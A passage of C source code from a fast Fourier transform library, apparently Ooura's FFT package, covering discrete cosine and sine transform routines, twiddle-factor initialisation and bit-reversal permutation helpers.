cftfsub(n, a, ip + 2, nw, w);
rftfsub(n, a, nc, w + nw);
} else if (n == 4) {
cftfsub(n, a, ip + 2, nw, w);
}
xi = a[0] - a[1];
a[0] += a[1];
a[1] = xi;
} else {
a[1] = 0.5 * (a[0] - a[1]);
a[0] -= a[1];
if (n > 4) {
rftbsub(n, a, nc, w + nw);
cftbsub(n, a, ip + 2, nw, w);
} else if (n == 4) {
cftbsub(n, a, ip + 2, nw, w);
}
}
}
void ddct(int n, int isgn, REAL *a, int *ip, REAL *w)
{
void makewt(int nw, int *ip, REAL *w);
void makect(int nc, int *ip, REAL *c);
void cftfsub(int n, REAL *a, int *ip, int nw, REAL *w);
void cftbsub(int n, REAL *a, int *ip, int nw, REAL *w);
void rftfsub(int n, REAL *a, int nc, REAL *c);
void rftbsub(int n, REAL *a, int nc, REAL *c);
void dctsub(int n, REAL *a, int nc, REAL *c);
int j, nw, nc;
REAL xr;
nw = ip[0];
if (n > (nw << 2)) {
nw = n >> 2;
makewt(nw, ip, w);
}
nc = ip[1];
if (n > nc) {
nc = n;
makect(nc, ip, w + nw);
}
if (isgn < 0) {
xr = a[n - 1];
for (j = n - 2; j >= 2; j -= 2) {
a[j + 1] = a[j] - a[j - 1];
a[j] += a[j - 1];
}
a[1] = a[0] - xr;
a[0] += xr;
if (n > 4) {
rftbsub(n, a, nc, w + nw);
cftbsub(n, a, ip + 2, nw, w);
} else if (n == 4) {
cftbsub(n, a, ip + 2, nw, w);
}
}
dctsub(n, a, nc, w + nw);
if (isgn >= 0) {
if (n > 4) {
cftfsub(n, a, ip + 2, nw, w);
rftfsub(n, a, nc, w + nw);
} else if (n == 4) {
cftfsub(n, a, ip + 2, nw, w);
}
xr = a[0] - a[1];
a[0] += a[1];
for (j = 2; j < n; j += 2) {
a[j - 1] = a[j] - a[j + 1];
a[j] += a[j + 1];
}
a[n - 1] = xr;
}
}
void ddst(int n, int isgn, REAL *a, int *ip, REAL *w)
{
void makewt(int nw, int *ip, REAL *w);
void makect(int nc, int *ip, REAL *c);
void cftfsub(int n, REAL *a, int *ip, int nw, REAL *w);
void cftbsub(int n, REAL *a, int *ip, int nw, REAL *w);
void rftfsub(int n, REAL *a, int nc, REAL *c);
void rftbsub(int n, REAL *a, int nc, REAL *c);
void dstsub(int n, REAL *a, int nc, REAL *c);
int j, nw, nc;
REAL xr;
nw = ip[0];
if (n > (nw << 2)) {
nw = n >> 2;
makewt(nw, ip, w);
}
nc = ip[1];
if (n > nc) {
nc = n;
makect(nc, ip, w + nw);
}
if (isgn < 0) {
xr = a[n - 1];
for (j = n - 2; j >= 2; j -= 2) {
a[j + 1] = -a[j] - a[j - 1];
a[j] -= a[j - 1];
}
a[1] = a[0] + xr;
a[0] -= xr;
if (n > 4) {
rftbsub(n, a, nc, w + nw);
cftbsub(n, a, ip + 2, nw, w);
} else if (n == 4) {
cftbsub(n, a, ip + 2, nw, w);
}
}
dstsub(n, a, nc, w + nw);
if (isgn >= 0) {
if (n > 4) {
cftfsub(n, a, ip + 2, nw, w);
rftfsub(n, a, nc, w + nw);
} else if (n == 4) {
cftfsub(n, a, ip + 2, nw, w);
}
xr = a[0] - a[1];
a[0] += a[1];
for (j = 2; j < n; j += 2) {
a[j - 1] = -a[j] - a[j + 1];
a[j] -= a[j + 1];
}
a[n - 1] = -xr;
}
}
void dfct(int n, REAL *a, REAL *t, int *ip, REAL *w)
{
void makewt(int nw, int *ip, REAL *w);
void makect(int nc, int *ip, REAL *c);
void cftfsub(int n, REAL *a, int *ip, int nw, REAL *w);
void rftfsub(int n, REAL *a, int nc, REAL *c);
void dctsub(int n, REAL *a, int nc, REAL *c);
int j, k, l, m, mh, nw, nc;
REAL xr, xi, yr, yi;
nw = ip[0];
if (n > (nw << 3)) {
nw = n >> 3;
makewt(nw, ip, w);
}
nc = ip[1];
if (n > (nc << 1)) {
nc = n >> 1;
makect(nc, ip, w + nw);
}
m = n >> 1;
yi = a[m];
xi = a[0] + a[n];
a[0] -= a[n];
t[0] = xi - yi;
t[m] = xi + yi;
if (n > 2) {
mh = m >> 1;
for (j = 1; j < mh; j++) {
k = m - j;
xr = a[j] - a[n - j];
xi = a[j] + a[n - j];
yr = a[k] - a[n - k];
yi = a[k] + a[n - k];
a[j] = xr;
a[k] = yr;
t[j] = xi - yi;
t[k] = xi + yi;
}
t[mh] = a[mh] + a[n - mh];
a[mh] -= a[n - mh];
dctsub(m, a, nc, w + nw);
if (m > 4) {
cftfsub(m, a, ip + 2, nw, w);
rftfsub(m, a, nc, w + nw);
} else if (m == 4) {
cftfsub(m, a, ip + 2, nw, w);
}
a[n - 1] = a[0] - a[1];
a[1] = a[0] + a[1];
for (j = m - 2; j >= 2; j -= 2) {
a[2 * j + 1] = a[j] + a[j + 1];
a[2 * j - 1] = a[j] - a[j + 1];
}
l = 2;
m = mh;
while (m >= 2) {
dctsub(m, t, nc, w + nw);
if (m > 4) {
cftfsub(m, t, ip + 2, nw, w);
rftfsub(m, t, nc, w + nw);
} else if (m == 4) {
cftfsub(m, t, ip + 2, nw, w);
}
a[n - l] = t[0] - t[1];
a[l] = t[0] + t[1];
k = 0;
for (j = 2; j < m; j += 2) {
k += l << 2;
a[k - l] = t[j] - t[j + 1];
a[k + l] = t[j] + t[j + 1];
}
l <<= 1;
mh = m >> 1;
for (j = 0; j < mh; j++) {
k = m - j;
t[j] = t[m + k] - t[m + j];
t[k] = t[m + k] + t[m + j];
}
t[mh] = t[m + mh];
m = mh;
}
a[l] = t[0];
a[n] = t[2] - t[1];
a[0] = t[2] + t[1];
} else {
a[1] = a[0];
a[2] = t[0];
a[0] = t[1];
}
}
void dfst(int n, REAL *a, REAL *t, int *ip, REAL *w)
{
void makewt(int nw, int *ip, REAL *w);
void makect(int nc, int *ip, REAL *c);
void cftfsub(int n, REAL *a, int *ip, int nw, REAL *w);
void rftfsub(int n, REAL *a, int nc, REAL *c);
void dstsub(int n, REAL *a, int nc, REAL *c);
int j, k, l, m, mh, nw, nc;
REAL xr, xi, yr, yi;
nw = ip[0];
if (n > (nw << 3)) {
nw = n >> 3;
makewt(nw, ip, w);
}
nc = ip[1];
if (n > (nc << 1)) {
nc = n >> 1;
makect(nc, ip, w + nw);
}
if (n > 2) {
m = n >> 1;
mh = m >> 1;
for (j = 1; j < mh; j++) {
k = m - j;
xr = a[j] + a[n - j];
xi = a[j] - a[n - j];
yr = a[k] + a[n - k];
yi = a[k] - a[n - k];
a[j] = xr;
a[k] = yr;
t[j] = xi + yi;
t[k] = xi - yi;
}
t[0] = a[mh] - a[n - mh];
a[mh] += a[n - mh];
a[0] = a[m];
dstsub(m, a, nc, w + nw);
if (m > 4) {
cftfsub(m, a, ip + 2, nw, w);
rftfsub(m, a, nc, w + nw);
} else if (m == 4) {
cftfsub(m, a, ip + 2, nw, w);
}
a[n - 1] = a[1] - a[0];
a[1] = a[0] + a[1];
for (j = m - 2; j >= 2; j -= 2) {
a[2 * j + 1] = a[j] - a[j + 1];
a[2 * j - 1] = -a[j] - a[j + 1];
}
l = 2;
m = mh;
while (m >= 2) {
dstsub(m, t, nc, w + nw);
if (m > 4) {
cftfsub(m, t, ip + 2, nw, w);
rftfsub(m, t, nc, w + nw);
} else if (m == 4) {
cftfsub(m, t, ip + 2, nw, w);
}
a[n - l] = t[1] - t[0];
a[l] = t[0] + t[1];
k = 0;
for (j = 2; j < m; j += 2) {
k += l << 2;
a[k - l] = -t[j] - t[j + 1];
a[k + l] = t[j] - t[j + 1];
}
l <<= 1;
mh = m >> 1;
for (j = 1; j < mh; j++) {
k = m - j;
t[j] = t[m + k] + t[m + j];
t[k] = t[m + k] - t[m + j];
}
t[0] = t[m + mh];
m = mh;
}
a[l] = t[0];
}
a[0] = 0;
}
/* -------- initializing routines -------- */
#include <math.h>
void makewt(int nw, int *ip, REAL *w)
{
int j, nwh, nw0, nw1;
REAL delta, wn4r, wk1r, wk1i, wk3r, wk3i;
ip[0] = nw;
ip[1] = 1;
if (nw > 2) {
nwh = nw >> 1;
delta = atan(1.0) / nwh;
wn4r = cos(delta * nwh);
w[0] = 1;
w[1] = wn4r;
if (nwh >= 4) {
w[2] = 0.5 / cos(delta * 2);
w[3] = 0.5 / cos(delta * 6);
}
for (j = 4; j < nwh; j += 4) {
w[j] = cos(delta * j);
w[j + 1] = sin(delta * j);
w[j + 2] = cos(3 * delta * j);
w[j + 3] = sin(3 * delta * j);
}
nw0 = 0;
while (nwh > 2) {
nw1 = nw0 + nwh;
nwh >>= 1;
w[nw1] = 1;
w[nw1 + 1] = wn4r;
if (nwh >= 4) {
wk1r = w[nw0 + 4];
wk3r = w[nw0 + 6];
w[nw1 + 2] = 0.5 / wk1r;
w[nw1 + 3] = 0.5 / wk3r;
}
for (j = 4; j < nwh; j += 4) {
wk1r = w[nw0 + 2 * j];
wk1i = w[nw0 + 2 * j + 1];
wk3r = w[nw0 + 2 * j + 2];
wk3i = w[nw0 + 2 * j + 3];
w[nw1 + j] = wk1r;
w[nw1 + j + 1] = wk1i;
w[nw1 + j + 2] = wk3r;
w[nw1 + j + 3] = wk3i;
}
nw0 = nw1;
}
}
}
void makect(int nc, int *ip, REAL *c)
{
int j, nch;
REAL delta;
ip[1] = nc;
if (nc > 1) {
nch = nc >> 1;
delta = atan(1.0) / nch;
c[0] = cos(delta * nch);
c[nch] = 0.5 * c[0];
for (j = 1; j < nch; j++) {
c[j] = 0.5 * cos(delta * j);
c[nc - j] = 0.5 * sin(delta * j);
}
}
}
/* -------- child routines -------- */
#ifndef CDFT_RECURSIVE_N /* length of the recursive FFT mode */
#define CDFT_RECURSIVE_N 512 /* <= (L1 cache size) / 16 */
#endif
void cftfsub(int n, REAL *a, int *ip, int nw, REAL *w)
{
void bitrv2(int n, int *ip, REAL *a);
void bitrv216(REAL *a);
void bitrv208(REAL *a);
void cftf1st(int n, REAL *a, REAL *w);
void cftrec1(int n, REAL *a, int nw, REAL *w);
void cftrec2(int n, REAL *a, int nw, REAL *w);
void cftexp1(int n, REAL *a, int nw, REAL *w);
void cftfx41(int n, REAL *a, int nw, REAL *w);
void cftf161(REAL *a, REAL *w);
void cftf081(REAL *a, REAL *w);
void cftf040(REAL *a);
void cftx020(REAL *a);
int m;
if (n > 32) {
m = n >> 2;
cftf1st(n, a, &w[nw - m]);
if (n > CDFT_RECURSIVE_N) {
cftrec1(m, a, nw, w);
cftrec2(m, &a[m], nw, w);
cftrec1(m, &a[2 * m], nw, w);
cftrec1(m, &a[3 * m], nw, w);
} else if (m > 32) {
cftexp1(n, a, nw, w);
} else {
cftfx41(n, a, nw, w);
}
bitrv2(n, ip, a);
} else if (n > 8) {
if (n == 32) {
cftf161(a, &w[nw - 8]);
bitrv216(a);
} else {
cftf081(a, w);
bitrv208(a);
}
} else if (n == 8) {
cftf040(a);
} else if (n == 4) {
cftx020(a);
}
}
void cftbsub(int n, REAL *a, int *ip, int nw, REAL *w)
{
void bitrv2conj(int n, int *ip, REAL *a);
void bitrv216neg(REAL *a);
void bitrv208neg(REAL *a);
void cftb1st(int n, REAL *a, REAL *w);
void cftrec1(int n, REAL *a, int nw, REAL *w);
void cftrec2(int n, REAL *a, int nw, REAL *w);
void cftexp1(int n, REAL *a, int nw, REAL *w);
void cftfx41(int n, REAL *a, int nw, REAL *w);
void cftf161(REAL *a, REAL *w);
void cftf081(REAL *a, REAL *w);
void cftb040(REAL *a);
void cftx020(REAL *a);
int m;
if (n > 32) {
m = n >> 2;
cftb1st(n, a, &w[nw - m]);
if (n > CDFT_RECURSIVE_N) {
cftrec1(m, a, nw, w);
cftrec2(m, &a[m], nw, w);
cftrec1(m, &a[2 * m], nw, w);
cftrec1(m, &a[3 * m], nw, w);
} else if (m > 32) {
cftexp1(n, a, nw, w);
} else {
cftfx41(n, a, nw, w);
}
bitrv2conj(n, ip, a);
} else if (n > 8) {
if (n == 32) {
cftf161(a, &w[nw - 8]);
bitrv216neg(a);
} else {
cftf081(a, w);
bitrv208neg(a);
}
} else if (n == 8) {
cftb040(a);
} else if (n == 4) {
cftx020(a);
}
}
void bitrv2(int n, int *ip, REAL *a)
{
int j, j1, k, k1, l, m, m2;
REAL xr, xi, yr, yi;
ip[0] = 0;
l = n;
m = 1;
while ((m << 3) < l) {
l >>= 1;
for (j = 0; j < m; j++) {
ip[m + j] = ip[j] + l;
}
m <<= 1;
}
m2 = 2 * m;
if ((m << 3) == l) {
for (k = 0; k < m; k++) {
for (j = 0; j < k; j++) {
j1 = 2 * j + ip[k];
k1 = 2 * k + ip[j];
xr = a[j1];
xi = a[j1 + 1];
yr = a[k1];
yi = a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
j1 += m2;
k1 += 2 * m2;
xr = a[j1];
xi = a[j1 + 1];
yr = a[k1];
yi = a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
j1 += m2;
k1 -= m2;
xr = a[j1];
xi = a[j1 + 1];
yr = a[k1];
yi = a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
j1 += m2;
k1 += 2 * m2;
xr = a[j1];
xi = a[j1 + 1];
yr = a[k1];
yi = a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
}
j1 = 2 * k + m2 + ip[k];
k1 = j1 + m2;
xr = a[j1];
xi = a[j1 + 1];
yr = a[k1];
yi = a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
}
} else {
for (k = 1; k < m; k++) {
for (j = 0; j < k; j++) {
j1 = 2 * j + ip[k];
k1 = 2 * k + ip[j];
xr = a[j1];
xi = a[j1 + 1];
yr = a[k1];
yi = a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
j1 += m2;
k1 += m2;
xr = a[j1];
xi = a[j1 + 1];
yr = a[k1];
yi = a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
}
}
}
}
void bitrv2conj(int n, int *ip, REAL *a)
{
int j, j1, k, k1, l, m, m2;
REAL xr, xi, yr, yi;
ip[0] = 0;
l = n;
m = 1;
while ((m << 3) < l) {
l >>= 1;
for (j = 0; j < m; j++) {
ip[m + j] = ip[j] + l;
}
m <<= 1;
}
m2 = 2 * m;
if ((m << 3) == l) {
for (k = 0; k < m; k++) {
for (j = 0; j < k; j++) {
j1 = 2 * j + ip[k];
k1 = 2 * k + ip[j];
xr = a[j1];
xi = -a[j1 + 1];
yr = a[k1];
yi = -a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
j1 += m2;
k1 += 2 * m2;
xr = a[j1];
xi = -a[j1 + 1];
yr = a[k1];
yi = -a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
j1 += m2;
k1 -= m2;
xr = a[j1];
xi = -a[j1 + 1];
yr = a[k1];
yi = -a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
j1 += m2;
k1 += 2 * m2;
xr = a[j1];
xi = -a[j1 + 1];
yr = a[k1];
yi = -a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
}
k1 = 2 * k + ip[k];
a[k1 + 1] = -a[k1 + 1];
j1 = k1 + m2;
k1 = j1 + m2;
xr = a[j1];
xi = -a[j1 + 1];
yr = a[k1];
yi = -a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
k1 += m2;
a[k1 + 1] = -a[k1 + 1];
}
} else {
a[1] = -a[1];
a[m2 + 1] = -a[m2 + 1];
for (k = 1; k < m; k++) {
for (j = 0; j < k; j++) {
j1 = 2 * j + ip[k];
k1 = 2 * k + ip[j];
xr = a[j1];
xi = -a[j1 + 1];
yr = a[k1];
yi = -a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
j1 += m2;
k1 += m2;
xr = a[j1];
xi = -a[j1 + 1];
yr = a[k1];
yi = -a[k1 + 1];
a[j1] = yr;
a[j1 + 1] = yi;
a[k1] = xr;
a[k1 + 1] = xi;
}
k1 = 2 * k + ip[k];
a[k1 + 1] = -a[k1 + 1];
a[k1 + m2 + 1] = -a[k1 + m2 + 1];
}
}
}
void bitrv216(REAL *a)
{
REAL x1r, x1i, x2r, x2i, x3r, x3i, x4r, x4i,
x5r, x5i, x7r, x7i, x8r, x8i, x10r, x10i,
x11r, x11i, x12r, x12i, x13r, x13i, x14r, x14i;
x1r = a[2];
x1i = a[3];
x2r = a[4];
x2i = a[5];
x3r = a[6];
x3i = a[7];
x4r = a[8];
x4i = a[9];
x5r = a[10];
x5i = a[11];
x7r = a[14];
x7i = a[15];
x8r = a[16];
x8i = a[17];
x10r = a[20];
x10i = a[21];
x11r = a[22];
x11i = a[23];
x12r = a[24];
x12i = a[25];
x13r = a[26];
x13i = a[27];
x14r = a[28];
x14i = a[29];
a[2] = x8r;
a[3] = x8i;
a[4] = x4r;
a[5] = x4i;
a[6] = x12r;
a[7] = x12i;
a[8] = x2r;
a[9] = x2i;
a[10] = x10r;
a[11] = x10i;
a[14] = x14r;
a[15] = x14i;
a[16] = x1r;
a[17] = x1i;
a[20] = x5r;
a[21] = x5i;
a[22] = x13r;
a[23] = x13i;
a[24] = x3r;
a[25] = x3i;
a[26] = x11r;
a[27] = x11i;
a[28] = x7r;
a[29] = x7i;
}
void bitrv216neg(REAL *a)
{
REAL x1r, x1i, x2r, x2i, x3r, x3i, x4r, x4i,
x5r, x5i, x6r, x6i, x7r, x7i, x8r, x8i,
x9r, x9i, x10r, x10i, x11r, x11i, x12r, x12i,
x13r, x13i, x14r, x14i, x15r, x15i;
x1r = a[2];
x1i = a[3];
x2r = a[4];
x2i = a[5];
x3r = a[6];
x3i = a[7];
x4r = a[8];
x4i = a[9];
x5r = a[10];
x5i = a[11];
x6r = a[12];
x6i = a[13];
x7r = a[14];
x7i = a[15];
x8r = a[16];
x8i = a[17];
x9r = a[18];
x9i = a[19];
x10r = a[20];
x10i = a[21];
x11r = a[22];
x11i = a[23];
x12r = a[24];
x12i = a[25];
x13r = a[26];
x13i = a[27];
x14r = a[28];
x14i = a[29];
x15r = a[30];
x15i = a[31];
a[2] = x15r;
a[3] = x15i;
a[4] = x7r;
a[5] = x7i;
a[6] = x11r;
a[7] = x11i;
a[8] = x3r;
a[9] = x3i;
a[10] = x13r;
a[11] = x13i;
a[12] = x5r;
a[13] = x5i;
a[14] = x9r;
a[15] = x9i;
a[16] = x1r;
a[17] = x1i;
a[18] = x14r;
a[19] = x14i;
a[20] = x6r;
a[21] = x6i;
a[22] = x10r;
a[23] = x10i;
a[24] = x2r;
a[25] = x2i;
a[26] = x12r;
a[27] = x12i;
a[28] = x4r;
a[29] = x4i;
a[30] = x8r;
a[31] = x8i;
}
void bitrv208(REAL *a)
{
REAL x1r, x1i, x3r, x3i, x4r, x4i, x6r, x6i;
x1r = a[2];
x1i = a[3];
x3r = a[6];
x3i = a[7];
x4r = a[8];
x4i = a[9];
x6r = a[12];
x6i = a[13];
a[2] = x4r;
a[3] = x4i;
a[6] = x6r;
a[7] = x6i;
a[8] = x1r;
a[9] = x1i;
a[12] = x3r;
a[13] = x3i;
}
void bitrv208neg(REAL *a)
{
REAL x1r, x1i, x2r, x2i, x3r, x3i, x4r, x4i,
x5r, x5i, x6r, x6i, x7r, x7i;
x1r = a[2];
x1i = a[3];
x2r = a[4];
x2i = a[5];
x3r = a[6];
x3i = a[7];
x4r = a[8];
x4i = a[9];
x5r = a[10];
x5i = a[11];
x6r = a[12];
x6i = a[13];
x7r = a[14];
x7i = a[15];
a[2] = x7r;
a[3] = x7i;
a[4] = x3r;
a[5] = x3i;
a[6] = x5r;
a[7] = x5i;
a[8] = x1r;
a[9] = x1i;
a[10] = x6r;
a[11] = x6i;
a[12] = x2r;
a[13] = x2i;
a[14] = x4r;
a[15] = x4i;
}
void cftf1st(int n, REAL *a, REAL *w)
{
int j, j0, j1, j2, j3, k, m, mh;
REAL wn4r, csc1, csc3, wk1r, wk1i, wk3r, wk3i,
wd1r, wd1i, wd3r, wd3i;
REAL x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i,
y0r, y0i, y1r, y1i, y2r, y2i, y3r, y3i;
mh = n >> 3;
m = 2 * mh;
j1 = m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[0] + a[j2];
x0i = a[1] + a[j2 + 1];
x1r = a[0] - a[j2];
x1i = a[1] - a[j2 + 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
a[0] = x0r + x2r;
a[1] = x0i + x2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i - x2i;
a[j2] = x1r - x3i;
a[j2 + 1] = x1i + x3r;
a[j3] = x1r + x3i;
a[j3 + 1] = x1i - x3r;
wn4r = w[1];
csc1 = w[2];
csc3 = w[3];
wd1r = 1;
wd1i = 0;
wd3r = 1;
wd3i = 0;
k = 0;
for (j = 2; j < mh - 2; j += 4) {
k += 4;
wk1r = csc1 * (wd1r + w[k]);
wk1i = csc1 * (wd1i + w[k + 1]);
wk3r = csc3 * (wd3r + w[k + 2]);
wk3i = csc3 * (wd3i - w[k + 3]);
wd1r = w[k];
wd1i = w[k + 1];
wd3r = w[k + 2];
wd3i = -w[k + 3];
j1 = j + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j] + a[j2];
x0i = a[j + 1] + a[j2 + 1];
x1r = a[j] - a[j2];
x1i = a[j + 1] - a[j2 + 1];
y0r = a[j + 2] + a[j2 + 2];
y0i = a[j + 3] + a[j2 + 3];
y1r = a[j + 2] - a[j2 + 2];
y1i = a[j + 3] - a[j2 + 3];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
y2r = a[j1 + 2] + a[j3 + 2];
y2i = a[j1 + 3] + a[j3 + 3];
y3r = a[j1 + 2] - a[j3 + 2];
y3i = a[j1 + 3] - a[j3 + 3];
a[j] = x0r + x2r;
a[j + 1] = x0i + x2i;
a[j + 2] = y0r + y2r;
a[j + 3] = y0i + y2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i - x2i;
a[j1 + 2] = y0r - y2r;
a[j1 + 3] = y0i - y2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
a[j2] = wk1r * x0r - wk1i * x0i;
a[j2 + 1] = wk1r * x0i + wk1i * x0r;
x0r = y1r - y3i;
x0i = y1i + y3r;
a[j2 + 2] = wd1r * x0r - wd1i * x0i;
a[j2 + 3] = wd1r * x0i + wd1i * x0r;
x0r = x1r + x3i;
x0i = x1i - x3r;
a[j3] = wk3r * x0r + wk3i * x0i;
a[j3 + 1] = wk3r * x0i - wk3i * x0r;
x0r = y1r + y3i;
x0i = y1i - y3r;
a[j3 + 2] = wd3r * x0r + wd3i * x0i;
a[j3 + 3] = wd3r * x0i - wd3i * x0r;
j0 = m - j;
j1 = j0 + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j0] + a[j2];
x0i = a[j0 + 1] + a[j2 + 1];
x1r = a[j0] - a[j2];
x1i = a[j0 + 1] - a[j2 + 1];
y0r = a[j0 - 2] + a[j2 - 2];
y0i = a[j0 - 1] + a[j2 - 1];
y1r = a[j0 - 2] - a[j2 - 2];
y1i = a[j0 - 1] - a[j2 - 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
y2r = a[j1 - 2] + a[j3 - 2];
y2i = a[j1 - 1] + a[j3 - 1];
y3r = a[j1 - 2] - a[j3 - 2];
y3i = a[j1 - 1] - a[j3 - 1];
a[j0] = x0r + x2r;
a[j0 + 1] = x0i + x2i;
a[j0 - 2] = y0r + y2r;
a[j0 - 1] = y0i + y2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i - x2i;
a[j1 - 2] = y0r - y2r;
a[j1 - 1] = y0i - y2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
a[j2] = wk1i * x0r - wk1r * x0i;
a[j2 + 1] = wk1i * x0i + wk1r * x0r;
x0r = y1r - y3i;
x0i = y1i + y3r;
a[j2 - 2] = wd1i * x0r - wd1r * x0i;
a[j2 - 1] = wd1i * x0i + wd1r * x0r;
x0r = x1r + x3i;
x0i = x1i - x3r;
a[j3] = wk3i * x0r + wk3r * x0i;
a[j3 + 1] = wk3i * x0i - wk3r * x0r;
x0r = y1r + y3i;
x0i = y1i - y3r;
a[j3 - 2] = wd3i * x0r + wd3r * x0i;
a[j3 - 1] = wd3i * x0i - wd3r * x0r;
}
wk1r = csc1 * (wd1r + wn4r);
wk1i = csc1 * (wd1i + wn4r);
wk3r = csc3 * (wd3r - wn4r);
wk3i = csc3 * (wd3i - wn4r);
j0 = mh;
j1 = j0 + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j0 - 2] + a[j2 - 2];
x0i = a[j0 - 1] + a[j2 - 1];
x1r = a[j0 - 2] - a[j2 - 2];
x1i = a[j0 - 1] - a[j2 - 1];
x2r = a[j1 - 2] + a[j3 - 2];
x2i = a[j1 - 1] + a[j3 - 1];
x3r = a[j1 - 2] - a[j3 - 2];
x3i = a[j1 - 1] - a[j3 - 1];
a[j0 - 2] = x0r + x2r;
a[j0 - 1] = x0i + x2i;
a[j1 - 2] = x0r - x2r;
a[j1 - 1] = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
a[j2 - 2] = wk1r * x0r - wk1i * x0i;
a[j2 - 1] = wk1r * x0i + wk1i * x0r;
x0r = x1r + x3i;
x0i = x1i - x3r;
a[j3 - 2] = wk3r * x0r + wk3i * x0i;
a[j3 - 1] = wk3r * x0i - wk3i * x0r;
x0r = a[j0] + a[j2];
x0i = a[j0 + 1] + a[j2 + 1];
x1r = a[j0] - a[j2];
x1i = a[j0 + 1] - a[j2 + 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
a[j0] = x0r + x2r;
a[j0 + 1] = x0i + x2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
a[j2] = wn4r * (x0r - x0i);
a[j2 + 1] = wn4r * (x0i + x0r);
x0r = x1r + x3i;
x0i = x1i - x3r;
a[j3] = -wn4r * (x0r + x0i);
a[j3 + 1] = -wn4r * (x0i - x0r);
x0r = a[j0 + 2] + a[j2 + 2];
x0i = a[j0 + 3] + a[j2 + 3];
x1r = a[j0 + 2] - a[j2 + 2];
x1i = a[j0 + 3] - a[j2 + 3];
x2r = a[j1 + 2] + a[j3 + 2];
x2i = a[j1 + 3] + a[j3 + 3];
x3r = a[j1 + 2] - a[j3 + 2];
x3i = a[j1 + 3] - a[j3 + 3];
a[j0 + 2] = x0r + x2r;
a[j0 + 3] = x0i + x2i;
a[j1 + 2] = x0r - x2r;
a[j1 + 3] = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
a[j2 + 2] = wk1i * x0r - wk1r * x0i;
a[j2 + 3] = wk1i * x0i + wk1r * x0r;
x0r = x1r + x3i;
x0i = x1i - x3r;
a[j3 + 2] = wk3i * x0r + wk3r * x0i;
a[j3 + 3] = wk3i * x0i - wk3r * x0r;
}
void cftb1st(int n, REAL *a, REAL *w)
{
int j, j0, j1, j2, j3, k, m, mh;
REAL wn4r, csc1, csc3, wk1r, wk1i, wk3r, wk3i,
wd1r, wd1i, wd3r, wd3i;
REAL x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i,
y0r, y0i, y1r, y1i, y2r, y2i, y3r, y3i;
mh = n >> 3;
m = 2 * mh;
j1 = m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[0] + a[j2];
x0i = -a[1] - a[j2 + 1];
x1r = a[0] - a[j2];
x1i = -a[1] + a[j2 + 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
a[0] = x0r + x2r;
a[1] = x0i - x2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i + x2i;
a[j2] = x1r + x3i;
a[j2 + 1] = x1i + x3r;
a[j3] = x1r - x3i;
a[j3 + 1] = x1i - x3r;
wn4r = w[1];
csc1 = w[2];
csc3 = w[3];
wd1r = 1;
wd1i = 0;
wd3r = 1;
wd3i = 0;
k = 0;
for (j = 2; j < mh - 2; j += 4) {
k += 4;
wk1r = csc1 * (wd1r + w[k]);
wk1i = csc1 * (wd1i + w[k + 1]);
wk3r = csc3 * (wd3r + w[k + 2]);
wk3i = csc3 * (wd3i - w[k + 3]);
wd1r = w[k];
wd1i = w[k + 1];
wd3r = w[k + 2];
wd3i = -w[k + 3];
j1 = j + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j] + a[j2];
x0i = -a[j + 1] - a[j2 + 1];
x1r = a[j] - a[j2];
x1i = -a[j + 1] + a[j2 + 1];
y0r = a[j + 2] + a[j2 + 2];
y0i = -a[j + 3] - a[j2 + 3];
y1r = a[j + 2] - a[j2 + 2];
